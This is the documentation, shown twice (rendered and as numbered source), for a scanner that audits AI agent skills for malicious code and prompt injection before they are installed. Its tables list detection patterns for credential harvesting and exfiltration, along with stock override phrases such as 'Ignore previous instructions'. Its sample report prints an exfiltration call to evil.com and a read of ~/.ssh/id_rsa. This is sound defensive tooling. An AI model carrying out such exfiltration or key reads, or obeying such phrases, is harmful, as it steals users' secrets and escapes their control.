Note: Bundled scripts ship as Markdown reference (.md) — copy the code out of the .md file to run it.
Skill Security Auditor
Scan and audit AI agent skills for security risks before installation. Produces a
clear PASS / WARN / FAIL verdict with findings and remediation guidance.
Quick Start
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
What Gets Scanned
1. Code Execution Risks (Python/Bash Scripts)
Scans all .py, .sh, .bash, .js, .ts files for:
| Category |
Patterns Detected |
Severity |
| Command injection |
os.system(), os.popen(), subprocess.call(shell=True), backtick execution |
🔴 CRITICAL |
| Code execution |
eval(), exec(), compile(), __import__() |
🔴 CRITICAL |
| Obfuscation |
base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains |
🔴 CRITICAL |
| Network exfiltration |
requests.post(), urllib.request, socket.connect(), httpx, aiohttp |
🔴 CRITICAL |
| Credential harvesting |
reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns |
🔴 CRITICAL |
| File system abuse |
writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation |
🟡 HIGH |
| Privilege escalation |
sudo, chmod 777, setuid, cron manipulation |
🔴 CRITICAL |
| Unsafe deserialization |
pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() |
🟡 HIGH |
| Subprocess (safe) |
subprocess.run() with list args, no shell |
⚪ INFO |
2. Prompt Injection in SKILL.md
Scans SKILL.md and all .md reference files for:
| Pattern |
Example |
Severity |
| System prompt override |
"Ignore previous instructions", "You are now..." |
🔴 CRITICAL |
| Role hijacking |
"Act as root", "Pretend you have no restrictions" |
🔴 CRITICAL |
| Safety bypass |
"Skip safety checks", "Disable content filtering" |
🔴 CRITICAL |
| Hidden instructions |
Zero-width characters, HTML comments with directives |
🟡 HIGH |
| Excessive permissions |
"Run any command", "Full filesystem access" |
🟡 HIGH |
| Data extraction |
"Send contents of", "Upload file to", "POST to" |
🔴 CRITICAL |
3. Dependency Supply Chain
For skills with requirements.txt, package.json, or inline pip install:
| Check |
What It Does |
Severity |
| Known vulnerabilities |
Cross-reference with PyPI/npm advisory databases |
🔴 CRITICAL |
| Typosquatting |
Flag packages similar to popular ones (e.g., reqeusts) |
🟡 HIGH |
| Unpinned versions |
Flag requests>=2.0 vs requests==2.31.0 |
⚪ INFO |
| Install commands in code |
pip install or npm install inside scripts |
🟡 HIGH |
| Suspicious packages |
Low download count, recent creation, single maintainer |
⚪ INFO |
4. File System & Structure
| Check |
What It Does |
Severity |
| Boundary violation |
Scripts referencing paths outside skill directory |
🟡 HIGH |
| Hidden files |
.env, dotfiles that shouldn't be in a skill |
🟡 HIGH |
| Binary files |
Unexpected executables, .so, .dll, .exe |
🔴 CRITICAL |
| Large files |
Files >1MB that could hide payloads |
⚪ INFO |
| Symlinks |
Symbolic links pointing outside skill directory |
🔴 CRITICAL |
Audit Workflow
- Run the scanner on the skill directory or repo URL
- Review the report — findings grouped by severity
- Verdict interpretation:
- ✅ PASS — No critical or high findings. Safe to install.
- ⚠️ WARN — High/medium findings detected. Review manually before installing.
- ❌ FAIL — Critical findings. Do NOT install without remediation.
- Remediation — each finding includes specific fix guidance
Reading the Report
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
Advanced Usage
Audit a Skill from Git Before Cloning
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD Integration
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
Batch Audit
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
Threat Model Reference
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.
Limitations
- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, don't install. Ask the skill author for clarification.
1---2name: skill-security-auditor3description: Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers: "audit this skill", "is this skill safe", "scan skill for security", "check skill before install", "skill security check", "skill vulnerability scan".4---56> **Note:** Bundled scripts ship as Markdown reference (`.md`) — copy the code out of the `.md` file to run it.78# Skill Security Auditor910Scan and audit AI agent skills for security risks before installation. Produces a11clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.1213## Quick Start1415```bash16# Audit a local skill directory17python3 scripts/skill_security_auditor.py /path/to/skill-name/1819# Audit a skill from a git repo20python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name2122# Audit with strict mode (any WARN becomes FAIL)23python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict2425# Output JSON report26python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json27```2829## What Gets Scanned3031### 1. Code Execution Risks (Python/Bash Scripts)3233Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:3435| Category | Patterns Detected | Severity |36| -------------------------- | ------------------------------------------------------------------------------ | ----------- |37| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |38| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |39| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |40| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |41| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |42| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |43| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |44| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |45| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |4647### 2. Prompt Injection in SKILL.md4849Scans SKILL.md and all `.md` reference files for:5051| Pattern | Example | Severity |52| -------------------------- | ---------------------------------------------------- | ----------- |53| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL |54| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL |55| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL |56| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |57| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |58| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL |5960### 3. Dependency Supply Chain6162For skills with `requirements.txt`, `package.json`, or inline `pip install`:6364| Check | What It Does | Severity |65| ---------------------------- | -------------------------------------------------------- | ----------- |66| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |67| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |68| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |69| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |70| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |7172### 4. File System & Structure7374| Check | What It Does | Severity |75| ---------------------- | ------------------------------------------------- | ----------- |76| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |77| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |78| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |79| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |80| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |8182## Audit Workflow83841. **Run the scanner** on the skill directory or repo URL852. **Review the report** — findings grouped by severity863. **Verdict interpretation:**87 - **✅ PASS** — No critical or high findings. Safe to install.88 - **⚠️ WARN** — High/medium findings detected. Review manually before installing.89 - **❌ FAIL** — Critical findings. Do NOT install without remediation.904. **Remediation** — each finding includes specific fix guidance9192## Reading the Report9394```95╔══════════════════════════════════════════════╗96║ SKILL SECURITY AUDIT REPORT ║97║ Skill: example-skill ║98║ Verdict: ❌ FAIL ║99╠══════════════════════════════════════════════╣100║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║101╚══════════════════════════════════════════════╝102103🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42104 Pattern: eval(user_input)105 Risk: Arbitrary code execution from untrusted input106 Fix: Replace eval() with ast.literal_eval() or explicit parsing107108🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88109 Pattern: requests.post("https://evil.com/collect", data=results)110 Risk: Data exfiltration to external server111 Fix: Remove outbound network calls or verify destination is trusted112113🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15114 Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))115 Risk: Reads SSH private key outside skill scope116 Fix: Remove filesystem access outside skill directory117118⚪ INFO [DEPS-UNPIN] requirements.txt:3119 Pattern: requests>=2.0120 Risk: Unpinned dependency may introduce vulnerabilities121 Fix: Pin to specific version: requests==2.31.0122```123124## Advanced Usage125126### Audit a Skill from Git Before Cloning127128```bash129# Clone to temp dir, audit, then clean up130python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup131```132133### CI/CD Integration134135```yaml136# GitHub Actions step137- name: "audit-skill-security"138 run: |139 python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json140 if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi141```142143### Batch Audit144145```bash146# Audit all skills in a directory147for skill in skills/*/; do148 python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl149done150```151152## Threat Model Reference153154For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).155156## Limitations157158- Cannot detect logic bombs or time-delayed payloads with certainty159- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it160- Network destination reputation checks require internet access161- Does not execute code — static analysis only (safe but less complete than dynamic analysis)162- Dependency vulnerability checks use local pattern matching, not live CVE databases163164When in doubt after an audit, **don't install**. Ask the skill author for clarification.